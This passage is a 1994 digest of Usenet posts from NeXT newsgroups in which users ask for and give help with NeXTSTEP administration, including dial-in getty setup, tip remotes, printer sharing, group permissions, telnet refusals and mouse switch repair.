bootstrap code loaded from the floppy.
clear as mud ? (I RTFM-d and hacked a bunch to no avail...)
thanks, and I'll summarize if desired.
--danno@maui.com
From: sean@zapotec.math.byu.edu (Sean O. Luke)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.marketplace
Subject: Re: WANTED: NeXT mouse (black) or part (switch).
Date: 5 Jul 1994 02:11:25 GMT
Organization: Brigham Young University
Message-ID: <2vafgd$gst@hamblin.math.byu.edu>
References: <2uvibq$hg6@alf.uib.no> <2v6vqi$a6v@runner.uucp>
Richard Ruth (richard@runner.uucp@usc.edu) wrote:
: Thor Legvold (edmtl@alf.uib.no) wrote:
: : My original NeXT mouse just died (and I noticed how it is just about
: : _impossible_ to use a NeXT without a mouse...shorting the switch
: : manually everytime I needed a 'click') and I need either:
: : a. a new NeXT mouse.
: : b. a used NeXT mouse
: : c. a microswitch (the factory one is: 1668RAE D2F-01, made by Omron, Japan)
: : d. suggestions (maybe other third party mice will work?)
I have personally replaced those switches. They're standard microswitches
that are a breeze to get anywhere (you don't need the exact model, just one
close enough as there aren't any special electrical characteristics to a
switch. :-) Most electronic supply houses should be able to get one for you--
just show them your old one on the board inside your mouse.
If you like, you can rip one out of most older Logitech mice. Can't say if
they're still being used in these mice, but they used to be. One tricky part:
the switches are very difficult to desolder, as they've got up to 6 "feet"
soldered onto the board. Another thing of note: these switches have had their
metal levers removed. The microswitch you buy will have the metal lever
attached to it. The one in the mouse, as you will note, does not. Just
carefully remove the lever from the new microswitch with some tweezers
before soldering it onto the board. And remember to orient the switch the
same way as the old one!
Overall, a pretty easy item to fix.
+--------------------------------------------------------------+
| Sean Luke This signature no verb |
| sean@digaudio.byu.edu ,,, U Maryland CS Grad |
| sean@zapotec.math.byu.edu (o o) School this September |
+------------------------oOO--(_)--OOo-------------------------+
From: E1140090@bcit.bc.ca
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2 Printer Sharing problem
Date: 5 Jul 1994 05:20:32 GMT
Organization: The University of British Columbia
Distribution: world
Message-ID: <2vaqj0$97s@nntp.ucs.ubc.ca>
Keywords: Printer
HELP!!!!!!
I'm sure this has been asked before... but I missed the answer.
I have my NeXT sharing some storage with a PC running PC-NFS. With NS 3.0
I could also share the printer out by simple going into PrintManager and
making it Public. Now, under NS 3.2, PrintManger comes back that:
"Printer cannot be exported to this same computer."
I remember something about NetInfoManager... but that's playing with fire.
Jason Rickerby.
E1140090@bcit.bc.ca
From: E1140090@bcit.bc.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re. How to format a bootable floppy w/ PLI 2.88m external drive
Date: 5 Jul 1994 05:23:51 GMT
Organization: The University of British Columbia
Distribution: world
Message-ID: <2vaqp7$97u@nntp.ucs.ubc.ca>
Keywords: Boot floppy
There is a utility called BootFloppy3.0 available on cs.orst.edu. That's
probably the simplest solution to making a bootable 2.88MB.
Jason Rickerby.
E1140090@bcit.bc.ca
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <idpt633@tpts1.seed.net.tw>
Date: Tue, 5 Jul 94 12:12:07 CST
From: idpt633@tpts1.seed.net.tw (PC_user)
Message-ID: <9407050412.AA16849@tpts1.seed.net.tw>
Seednet_From: Jackson Technologies
Subject: Help: Dataproducts lzr1580 & NeXT3.2
Hi there,
I have a printer Dataproducts LZR 1580 and NeXT 3.2. As known, there is
lzr1560 ppd file in NeXT 3.2. For lzr1560 or lzr1580, they both have trays of
A3 and A4. I use 1560 ppd file when I connect this lzr1580 to my NeXT motoral-
based host. However, I could not have files printed out from A4 tray; it seems
that A3 is the dafault print-out format. Certainly, I could force the print-
out format to set up as A4 once I set the Paper Sources option in the printer's
panel. But in this case, all the print-out would be A4 later. It would be
lots of indoor exercise for user because he/she has to run to printer to set up
printer source whenever required.
Any suggestions are welcome, thanks.
Jackson Technologies
Jamie
TEL: 7255473
FAX: 7230452 email: idpt633@tpts1.seed.net.tw
From: chi@kaiwan.com (LCC)
Newsgroups: comp.sys.next.sysadmin
Subject: Dial-In setup? help!!!
Date: 5 Jul 1994 01:36:08 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2vb61o$p4u@kaiwan.kaiwan.com>
Dear NeXT Netters,
I am trying to setup NS/FIP 3.2 computer with serial port com2 to
receive incoming modem calls, but I am kind of lost right now.
Would somebody please point out what I'm doing wrong?
I have got these information from reading the online setting
UUCP docs. After modifying the ttsys and gettytab files,
the modem still would not answer the call. If you have
already setup the dial-in port to work correctly on a NS/FIP
com2,
please let me know what I need to do. Any comments?
Thank you in advance!
chi@kaiwan.com
In /etc/ttys
# console "/usr/etc/getty std.9600" NeXT on secure
console /usr/lib/NextStep/loginwindow NeXT on secure
window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
#ttya "/usr/etc/getty knj.9600" vt100 on secure
ttya "/usr/etc/getty std.9600" unknown off secure
ttyb "/usr/etc/getty std.9600" unknown off secure
ttyfa "/usr/etc/getty std.9600" unknown off secure
ttyfb "/usr/etc/getty std.9600" unknown off secure
ttyda "/usr/etc/getty D9600" unknown off
ttydb "/usr/etc/getty D9600" unknown Off
ttydfa "/usr/etc/getty D9600" unknown off
ttydfb *** "/usr/etc/getty D19200" dialup on
ttyp0 none network
ttyp1 none network
ttyp2 none network
In /etc/gettytab (everything is the default except the last D19200
line)
#
# Fast dialup terminals, 9600/2400/1200/300 rotary
#
j|D9600|Fast-Dial-9600:\
:nx=D2400:tc=9600-baud:
k|D2400|Fast-Dial-2400:\
:nx=D1200:tc=2400-baud:
3|D1200|Fast-Dial-1200:\
:nx=D300:fd@:tc=1200-baud:
5|D300|Fast-Dial-300:\
:nx=D9600:tc=300-baud:
D19200:nx=D9600:tc=19200-baud:
---
Please help me out!
--
chi@kaiwan.com
Newsgroups: comp.sys.next.sysadmin
From: rlove@raptor.rmnug.org (Robert B. Love )
Subject: Internal Error 10000000 Occurred
Message-ID: <1994Jul4.153717.233@nugget.rmNUG.ORG>
Sender: rlove@nugget.rmNUG.ORG
Organization: Rocky Mountain NeXT Users' Group
Date: Mon, 4 Jul 1994 15:37:17 GMT
What does it mean when Workspace gives me the above error?
Continue at my own risk? This sounds like MS Windows! Where
do I look this error up? What does it mean? What can I do to
prevent it?
--
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Bob Love rlove@raptor.rmnug.org (NeXT Mail OK)
BIX: rlove
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Newsgroups: comp.sys.next.sysadmin
From: jwdb@dutnak2.tn.tudelft.nl (Jan-Willem de Bruijn)
Subject: [Q] syslogd problem on NeXTcube
Message-ID: <jwdb.773410678@dutnak2>
Summary: repeated error messages from syslogd
Keywords: syslogd select cube
Sender: news@news.tudelft.nl (UseNet News System)
Organization: Delft University of Technology
Date: Tue, 5 Jul 1994 12:17:58 GMT
On our Cube syslogd isn't starting anymore at boot time. I tried
starting it by hand with the debug option (-d), as suggested by Steve
Hayman (shayman@Objectario.com) and Bill Chin (bchin@is-next.umd.edu),
who were so kind to repy by e-mail to an earlier post of mine. So now
I have some more detailed info about what is going wrong.
Every 2 minutes and 5 seconds (on the dot) syslogd produces the
following line on both the console and in /usr/adm/messages:
Jul 5 14:07:43 delphi syslogd: select: Bad file number
Does anyone happen to know what can be causing this? All files
involved (/etc/syslog.conf, ...) are originals. Perhaps wrong
file permissions?
Jan-Willem
--
Jan-Willem de Bruijn jwdb@dutnak2.tn.tudelft.nl
Lab. of Seismics and Acoustics NeXT-mail: jwdb@delphi.tn.tudelft.nl
Dep. of Applied Physics Discipline is never an end in itself,
Delft University of Technology only a means to an end.
Newsgroups: comp.sys.next.sysadmin
From: vinet@eclimed.fdn.org (Laurent Vinet)
Subject: Re: tip and dial-up remotes
Message-ID: <1994Jul5.092153.4902@eclimed.fdn.org>
Sender: vinet@eclimed.fdn.org
Organization: ECLIMED - Paris, France.
References: <2v9flm$at@nexia.dk>
Date: Tue, 5 Jul 1994 09:21:53 GMT
In article <2v9flm$at@nexia.dk> mike@dannug.dk (Michael Zedeler) writes:
> Hi.
>
> I am trying to convice 'tip' to dial-up a certain number. The entries in
> /etc/remote are:
>
> cufa38400|comm|Dial-out on cufa at 9600 baud:\
> :dv=/dev/cufa:br#38400:tc=BASIC:at=hayes:
> gorm|RUNet:\
> :pn=45871777:dv=/dev/cufa:br#38400:tc=cufa38400:at=hayes:du:
>
> The entry 'gorm' doesn't seem to work,
try with :
dial38400|38400 Baud Hayes attributes:\
:dv=/dev/cua:br#38400:at=hayes:du:
UNIX-38400|38400 Baud dial-out to another UNIX system:\
:el=^U^C^R^O^D^S^Q@:ie=#%$:oe=^D:tc=dial38400:
gorn|RUNet:\
:pn=45871777:tc=UNIX-38400:
and write tip gorm
--
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Laurent Vinet Email: vinet@eclimed.fdn.org
Eclimed - Paris, France NeXTMail accepted
Phone: 33+1 44 41 22 78 Fax: 33+1 44 41 22 99
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: jeffb@audiolab.uwaterloo.ca (Jeff Bamford)
Subject: Re: [Q]:How to format a bootable floppy w/ PLI 2.88m external drive
Message-ID: <CsGyIK.13H@watserv1.uwaterloo.ca>
Sender: news@watserv1.uwaterloo.ca
Organization: Audio Research Group, University of Waterloo
References: <2va6un$obp@lawelawe-f0.mrtc.maui.com>
Date: Tue, 5 Jul 1994 13:23:07 GMT
In article <2va6un$obp@lawelawe-f0.mrtc.maui.com>,
Dan Bigelow <danno@maui.com> wrote:
>
>Question :
>
>I've got an old BLACK 030 cube with an external PLI 2.88M SCSI
>drive that I would like to use to create a 'CD-ROM smart' bootable
>floppy in case my internal HD goes and I need to 'boot' from
>my CD-ROMS and rebuild...
>The 'BootFloppy' packages I've tried need the int floppy (/dev/rfd0a),
>and doesn't like the PLI drive (/dev/rsd1a) - some 'front porch'
>error while formatting.
I have also tried to format floppies with that external drive
(albeit not for booting) and I get the same error. I haven't been able
to track down the problem. Its either a problem with NS 3.2 or I'm
missing a valid disktab for the floppy. I've crossposted this to
hardware, maybe someone remembers over there.
>--danno@maui.com
--
***************************************************************************
* Jeff Bamford jsbamford@uwaterloo.ca -- NeXT Mail welcome *
***************************************************************************
From: skaul@cs.tamu.edu (Surbhi Kaul)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail problem (version 8.6.9)
Date: 5 Jul 1994 16:15:36 GMT
Organization: Texas A&M Computer Science Department, College Station, TX
Distribution: world
Message-ID: <2vc0v8$1rc@news.tamu.edu>
Hi,
I have been trying to install sendmail version 8.6.9 on the NeXT (release
2.1) computer. When I try to send a mail I get an error msg -
"mail: unknown option i"
In the older version of sendmail which was there a person could not receive
any mail while logged on the machine, since the permissions for the mail file
/usr/local/mail get changed to NOBODY.
Can anyone suggest a sendmail version which will be compatible with release2.1?
And also the ftp site of availability. Also, I would like to know why the
permisssion of the file was getting changed in the older version?
Thankyou,
Surbhi
From: rragner@stingray.vm.iastate.edu (Rod Ragner)
Newsgroups: comp.sys.next.sysadmin
Subject: Changing groups
Date: 5 Jul 1994 16:56:52 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2vc3ck$i13@news.iastate.edu>
I have just entered the second month of my new job as the NeXT System
Administrator and I need some help from you knowledgeable folks out there!
I have not had a NeXT sysadmin training course and only have some
documentation left to me by my predecessor, so please be patient with me
<smile>.
I have been asked to create a new user group and add several users to it.
This I have done using the UserManager application. Ther purpose of the
new user group was to make some files accessible to another person to
modify while the owner goes on vacation next week. I did not feel that it
was a good idea to simply have the owner give her password to the other
person, since she also has ownership of other files which should not be
accessible to the person responsible for a few files during her abscence.
My problem now is that I can not change the current user group associated
with the files and folders (directories) in question to the new group!
When I log in as the root, the Inspector shows a nice little pop-up menu
on the user group, but reverts back to the current 'wheel' group when I
press the OK button.
When I log in as the person who is the owner, I do not get a pop-up menu
for the user group, so I can not change the group with her account! Is
this because she is not a member of the wheel group?
When I try using the UNIX chgrp command, either logged in as the root or
the owner, the error message returned is "not owner" and the group remains
unchanged!
I have not tried it yet, but perhaps I could add the owner of the files in
question to the wheel group, try the above again and then remove her from
the wheel group after we have successfully changed the user group
associated with the files in question.
Another question that I have is: "Is the root of every NeXT machine on
the network a super-user for the entire network?" We have about 30 NeXT
machines. My machine is not the NetInfo Server, but when I log in as the
root, I have full access to the administrative functions and can change
user accounts etc. Could any of the people sitting at any other machine
do the same with the root account of any machine other than mine? Should
I keep the password of the root account of every machine a secret and
known only to me and my supervisor?
Thank you in advance for all of your help!
--
Rod Ragner
Veterinary Diagnostic Laboratory
College of Veterinary Medicine
Iowa State University
Ames, Iowa 50011
From: gorgon@crl.com (Zach Copley)
Newsgroups: comp.sys.next.sysadmin
Subject: Gar! My network exploded!
Date: 28 Jun 1994 01:51:47 -0700
Organization: Zach's House
Message-ID: <2uoob3$8m7@crl.crl.com>
Summary: Why wont my Network work anymore?
Keywords: Network
Dear fellow NEXTSTEP enthusiasts:
Oh no!
I can't telnet to myself! I can't telnet to localhost, and I can't
telnet from the Macs, or my pc, to my NEXTSTEP/FIP machine! help! Please
help!
I had this really nifty little home network going where my macs could
telnet in from downstairs and my DOS-PC, which runs a BBS program (the BBS
is called the PolySpock Project--strictly a hobbie) allowed callers to
telnet in to use shell acounts. I also has the DOS-PC NFS-mount a
directory to share files with the NEXTSTEP machine. I had SLIP running
and sendmail configured as a mailserver so that we could receive mail.
Then I got a new SLIP account and a new network number (140.170.174.1),
and when I changed the IP #'s my netinfo database exploded so bad, at
least I think that's what happened, that I had to reinstall NEXTSTEP and
restore everything from backups.
I decided to use Simple Network Starter and configure the machine as a
server (I didn't do that originally). Well, I don't know what I did
wrong, but I can't telnet to my machine from my machine, and none of the
machines on my network can telnet to it. However, my DOS-PC can still
mount the NFS exported dirctory (???!). I am confused. And I have read
the NeXTSTEP Network and System Administration book from cover to cover,
but I still can't figure it out.
When I telnet to my machine it says, "Connection refused."
What am I doing wrong?? In HostManager My hostname is "gigantor," the IP
number is 140.174.170.1, my netmask is set to 255.255.255.0 (the other
machines are setup as 140.174.170.2, .3, and .4). I have the machine setup
to Bind to Netinfo server, readable only by local net, no router, no NIS
domain name.
There is a root domain and a gigantor domain. The host entries are in
the gigantor domain along with localhost and broadcast host.
Please help me if you can.
Hey I have an extra NEXTTIME CD, unopened from the Expo. :)
Help!
Thanks!
Zach
From: takken@leland.stanford.edu (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Changing groups
Date: 5 Jul 1994 18:35:49 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2vc965$1nl@nntp2.Stanford.EDU>
References: <2vc3ck$i13@news.iastate.edu>
In article <2vc3ck$i13@news.iastate.edu> rragner@stingray.vm.iastate.edu
(Rod Ragner) writes:
> My problem now is that I can not change the current user group
> When I try using the UNIX chgrp command, either logged in as the root or
The easy way to do this is to use UserManager.app, located in /NextAdmin.
You can create new groups and change the groups to which users belong, all
with push and click mouse strokes. I have found it to be rather self
explanatory.
-- Todd Takken
takken@leland.stanford.edu
From: rragner@stingray.vm.iastate.edu (Rod Ragner)
Newsgroups: comp.sys.next.sysadmin
Subject: Changing groups
Date: 5 Jul 1994 18:58:11 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2vcag3$k81@news.iastate.edu>
Okay... I figured it out on my own, but some of you just might not know
how, so here is what I did...
I added the owner of the file in question to the group of the file, then
had her log out and back in. After that, she got a pop-up window for the
user group and could change it to the new group. I then removed her from
the old group and all appears to be well.
--
Rod Ragner
Veterinary Diagnostic Laboratory
College of Veterinary Medicine
Iowa State University
Ames, Iowa 50011
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: nobody username and tftpd???
Message-ID: <1994Jul5.153202.17987@umiami.ir.miami.edu>
Date: 5 Jul 94 15:32:02 EDT
Organization: Univ of Miami IR
Every once in awhile when I do a ps -aux, I get the following:
nobody 24535 0.0 0.5 1.66M 208K ? S 0:00 tftpd -s /private/tftpboot
nobody 24536 0.0 0.3 1.66M 136K ? S 0:00 tftpd -s /private/tftpboot
I can't figure out what is happening here - I am hooked up to
the outside world. The only thing I can think of is that when
I receive NeXTmail, this is part of the file transfer.
Any comments?
Thomas J. Herbert
University of Miami
therbert@umiami.ir.miami.edu
From: beaucham@uxh.cso.uiuc.edu (James Beauchamp)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.marketplace
Subject: Re: WANTED: NeXT mouse (black) or part (switch).
Date: 2 Jul 1994 14:27:14 GMT
Organization: University of Illinois at Urbana
Message-ID: <2v3tg2$5o8@vixen.cso.uiuc.edu>
References: <2uvibq$hg6@alf.uib.no>
edmtl@alf.uib.no (Thor Legvold) writes:
>My original NeXT mouse just died (and I noticed how it is just about
>_impossible_ to use a NeXT without a mouse...shorting the switch
>manually everytime I needed a 'click') and I need either:
>
>a. a new NeXT mouse.
>b. a used NeXT mouse
>c. a microswitch (the factory one is: 1668RAE D2F-01, made by Omron, Japan)
>d. suggestions (maybe other third party mice will work?)
>
>I have an original cube which has been upgraded several times, and
>that includes the original keyboard (not ADB) and monitor series.
>
>For the moment I've configured Preferences to use the mouse as a
>right handed one so I can still use the other button, but I'd like
>to fix it before it dies completely.
How long does a mouse switch last? My left one lasted about three years and
recently went out. I took the mouse apart and swapped the two switches in
hopes that it will last another 3 years.
For advice on mice I would try contacting Dancing Bear Enterprises at
+1-303-479-9101 (fax: +1-303-479-9442, email: tim@dancingbear.com).
Jim Beauchamp
Newsgroups: comp.sys.next.sysadmin
From: sjones@netcom.com (Scott M. Jones)
Subject: Re: HERE'S HOW: Standalone SLIP in 11 Easy Steps
Message-ID: <sjonesCsC2F7.Eyo@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <damonc.35.2E02F69C@hookup.net> <sjonesCs4ozz.Iww@netcom.com>
Date: Sat, 2 Jul 1994 21:59:30 GMT
Scott M. Jones (sjones@netcom.com) wrote:
: Damon F. Cooper (damonc@hookup.net) wrote:
: : I got TransSys PNI 1.9 working on my standalone
: : NS Intel 3.2 machines!!!
: I'm also trying to get PNI SLIP working for NS 3.2 Intel. My problem is
: that the tcl dial script does not recognize the "CONNECT xxx" message
: from my modem.
: I have a Supra v.32bis modem. I copied the "dial-zyxel.tcl" script to
: dial-supra.tcl and changed pni0.config accordingly. The only changes
: I made were to remove/alter startup codes (such as Sn=xxx) that don't
: apply to the Supra. The processing for the "CONNECT" message was not
: changed.
: It always times out when the modem sends "CONNECT xxx" but "BUSY" is
: processed correctly. Is there a problem in the included version of tcl
: or the scripts? I tried logging in to the server manually and recording
: the session to disk to see if the newlines and c/r's were reversed or
: missing, but that doesn't seem to be a problem.
: Any advice? TIA...
Thanks to those who wrote with advice. robert@amo.mit.edu sent me a copy
of his supra dial script, which fixed everything (except for a screwup
of mine in pni0.config...). If you'd like a copy of this script, Email
me at scott@atlanta.com.
--
-----
Scott M. Jones Atlanta, GA, USA
sjones@netcom.com
scott@atlanta.com <---NeXTmail accepted here
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: FaxDriver for Zyxel ?
Message-ID: <CsC6Mu.L7y@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2tq74d$2112@info2.rus.uni-stuttgart.de> <CrqBGw.LK@infoserv.com> <Crtz1M.LKy@cunews.carleton.ca> <2utrq3$6hj@nnrp.ucs.ubc.ca>
Distribution: na
Date: Sat, 2 Jul 1994 23:30:30 GMT
Robert Wong (wrob@unixg.ubc.ca) wrote:
: In article <Crtz1M.LKy@cunews.carleton.ca>,
: Chris Saldanha <csaldanh@mae.carleton.ca> wrote:
: >NeXT has done eveything except the actual driver for the FAX/Modem. This
: >is understandable, since every FAX/Modem is different, and they would
: >have to write all sorts of drivers. I agree that there should be drivers
: >for at least a few big-name FAX/Modems, however (ZyXEL, USRobotics, ???).
: This is my perspective on this situation:
: . The company that makes NXFax is a third party developer. They stepped
: "unto the breach" of making a fax driver when NeXT did little to support
: fax. It is a successful company making a driver that supports Class 2.0
: modems and almost-but-not-really-Class 2 (not 2.0) faxmodems.
: . If NeXT made a Class 2.0 driver, it could possibly deep-six a successful
: third party developer. This does not help NeXT's reputation if it
: was perceived to have sunk a developer that had found a profitable niche.
What? Don't even suggest that NeXT would do something to screw a
third-party developer. NEVER. They would NEVER do such a thing. Honest.
Trust me. Really. ;-)
In this case, however, I'm sure they wouldn't do a real FAX/Modem driver.
The support hassles would be terrible if they made a generic Class2 FAX
driver, or even a set of brand-name drivers. There are just too many
modem brands and too many not-so-compatible brand-name-compatible modems.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: gregory@nukestep.mit.edu (Gregory B Howland)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: How do you send GIF files?
Date: 3 Jul 1994 00:07:59 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2v4vgv$g70@senator-bedfellow.MIT.EDU>
How can I send a GIF file to someone who accesses
the internet through Compuserve using DOS/Windows?
Is it possible to use NeXTMail or would I need to
install Pine and send it as an attachment?
Thanks,
Greg
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: How do you send GIF files?
Message-ID: <CsC9CI.1L9@cunews.carleton.ca>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2v4vgv$g70@senator-bedfellow.MIT.EDU>
Date: Sun, 3 Jul 1994 00:29:05 GMT
Gregory B Howland (gregory@nukestep.mit.edu) wrote:
: How can I send a GIF file to someone who accesses
: the internet through Compuserve using DOS/Windows?
: Is it possible to use NeXTMail or would I need to
: install Pine and send it as an attachment?
They certainly won't be able to read NeXTMail.
I have no idea if Compu$erve has pine mailer (I doubt it). Pine will
compile an run on NeXTSTEP without modification, so I'm told.
The easiest (well...) thing to do is to uuencode the file. UUENCODE and
UUDECODE are included in NeXTSTEP. They are also available for
DOS/Windows (look on oak.oakland.edu:/pub/msdos/uuencode), free ones too.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: inews on a 3.1 CUBE - help is needed (desparately)
Date: 3 Jul 1994 21:54:07 -0400
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Message-ID: <2v7q3v$e9v@math.mps.ohio-state.edu>
Our SUN's (the news server) inews stuff was updated and I need the newest
inews for my CUBE which I can't compile on my CUBE. Can you help? Until a
fix comes in I must Pnews from our SUN, a very cumbersome situation. Please
respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: trestrail@aol.com (Trestrail)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do you send GIF files?
Date: 3 Jul 1994 11:14:03 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2v6kjr$lui@search01.news.aol.com>
References: <CsC9CI.1L9@cunews.carleton.ca>
In article <CsC9CI.1L9@cunews.carleton.ca>, csaldanh@mae.carleton.ca
(Chris Saldanha) writes:
Gregory B Howland (gregory@nukestep.mit.edu) wrote:
: How can I send a GIF file to someone who accesses
: the internet through Compuserve using DOS/Windows?
: Is it possible to use NeXTMail or would I need to
: install Pine and send it as an attachment?
They certainly won't be able to read NeXTMail.
I have no idea if Compu$erve has pine mailer (I doubt it). Pine will
compile an run on NeXTSTEP without modification, so I'm told.
The easiest (well...) thing to do is to uuencode the file. UUENCODE
and
UUDECODE are included in NeXTSTEP. They are also available for
DOS/Windows (look on oak.oakland.edu:/pub/msdos/uuencode), free ones
too.
=======================================================
Go ahead and send it via NeXTmail. Whoever receives it will have to
uudecode it, and then do the equivalent of 'gnutar -zxvf filename'.
Be sure to tell the recipient to edit the line 'begin 666
.tar.XXXX.subXXXXject.attach' to something like 'begin 666 foo.tgz'
(assuming the recipient is using DOS) before running the message thru
uudecode. The result: (s)he willend up with foo.gif (at least I do
when I do this with NeXTanswers).
Jeff
trestrail@aol.com
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP: "You don't exist. Go away."
Date: 3 Jul 94 14:34:51 GMT
Organization: IGD Darmstadt
Message-ID: <neuss.773246091@budlight>
References: <2uq79b$6br@keen.ccit.duq.edu> <1994Jun29.195915.4647@aplki.toppoint.de>
ploeger@aplki.toppoint.de (Andreas Ploeger) writes:
>Lones A. Smith <lones@lones.mit.edu> wrote:
>> My talk works fine under root, but fails under my user name.
>> I get the error for incoming and outgoing talk requests "You don't exist.
>> Go away."
>I had that problem more than a year ago. According to my notes the read
>permissions for /etc/ttys were wrong. Now they look like this:
> -rw-rw-r-- 1 ploeger wheel 2967 Aug 20 1993 /etc/ttys
Whoever wrote that error message oughta be tarred and feathered.
I've wasted a couple of hours on this, too. Why couldn't they
just say "Cannot read /dev/tty"??
Grumble..
Chris
--
"I ride a tandem with the random.."
Christian Neuss # Fraunhofer Institute for Computer Graphics
Wilhelminenstr.7 # 64283 Darmstadt # Germany
e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
Newsgroups: comp.sys.next.sysadmin
From: frank@glocke.robin.de (Frank Thomas)
Subject: Re: connection refused!
Message-ID: <1994Jul2.142829.828@glocke.robin.de>
Sender: frank@glocke.robin.de
References: <2ur8va$6k7@crl.crl.com>
Date: Sat, 2 Jul 1994 14:28:29 GMT
In article <2ur8va$6k7@crl.crl.com> gorgon@crl.com (Zach Copley) writes:
> It's driving me CRAZY!
>
> I can't figure out what causes the "connection refused" message when I
> try to telnet in to my NEXTSTEP/FIP machine. This all seems to have
> started when I switched over to netinfo. I've been pouring over the
> system admin docs, and all I can come up with is that I have a netmask
> problem because I can ping the machine just fine.
>
> So I've been reading up _TCP/IP Illustrated_ and _TCP/IP Running a
> Successful Network_, and I *still* come up blank. I am stumped. My
> machine is actively refusing to allow telnet and ftp sessions. Yet, I
can
> telnet out. It's crazy!
>
Ok, tell us:
1) Does "ping" reach your NS/FIP?
2) Do you use only netinfo?
3) Is your nameservice to reverse IP-dot notation to standard names
correctly set up? To find out try this: telnet from NS/FIP to
trouble.host.com (or whatever troublesome host is called) and look what
netstat on NS/FIP tells you about this connection. If it lists this
connection in dot notation then this correctly set up! (Background: login
tries to enter the correct name in /etc/utmp)
I hope these questions clears some things up.
Frank
From: brian@umbc.edu (Brian Cuthie)
Newsgroups: comp.sys.next.sysadmin
Subject: Driver for SMC Elite16C Ultra Ethernet adapter ?
Date: 3 Jul 1994 14:33:33 -0400
Organization: University of Maryland, Baltimore County
Message-ID: <2v709tINN925@umbc7.umbc.edu>
Does anyone know where I can get a driver for the SMC Elite16C Ultra ethernet
adapter? The SMC driver supplied with the NS distribution is for the "Plus"
and not the "Ultra" version of the card. I had to get a new packat driver
for DOS, so there's definitely something about this version of the card
that's different than the older "Plus" version.
Thanks!
Brian
--
Brian Cuthie
Systemix Software, Inc.
brian@systemix.com
From: "Wesley C. Smith" <wes@arissoft.com>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: How do you send GIF files?
Date: Sun, 3 Jul 1994 20:26:16 GMT
Organization: Take Three
Message-ID: <940703152616.4310AAABE.wes@arissoft>
References: <2v4vgv$g70@senator-bedfellow.MIT.EDU>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
>How can I send a GIF file to someone who accesses
>the internet through Compuserve using DOS/Windows?
>Is it possible to use NeXTMail or would I need to
>install Pine and send it as an attachment?
If they can receive MIME mail, you could send it with Eloquent. For more info
about Eloquent send a message to eloquent_info@arissoft.com.
Wesley C. Smith
wes@arissoft.com MIME and NeXTmail ok
Take Three
P.O. Box 203852 (512) 837-9784
Austin, TX 78720-3852 (512) 837-8102 (fax)
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Pgm to move dir tree from NS -> DOS Volume +
Date: 3 Jul 1994 22:02:50 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2v7cia$gtl@news.mic.ucla.edu>
I would like to buy a utility that allows me to select a whole set of
files in a file browser (ala SafetyNet), and press a button to gnutar
(compress) it. SN unfortunately uses its own tar-like (but not tar)
format. Furthermore, I need a gnutar that can then mangle filenames from
Unix to DOS, and perhaps preferably run under DOS itself.
(At the moment, I first use the SafetyNet browser to back up my selected
files, then restore it onto my /tmp volume, then recompress it using
gnutar. I still need a gnutar to decompress into an MSDOS file system,
though.)
IMHO, the DOS 8+3 limitations is by far the most maddening aspect of
MSDOS!
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: schwett@netcom.com
Subject: Intel : NBUF vs. Size of buffers?
Message-ID: <schwettCsE4tv.LoH@netcom.com>
Keywords: nbuf intel buffers cache
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Mon, 4 Jul 1994 00:46:43 GMT
Hi..
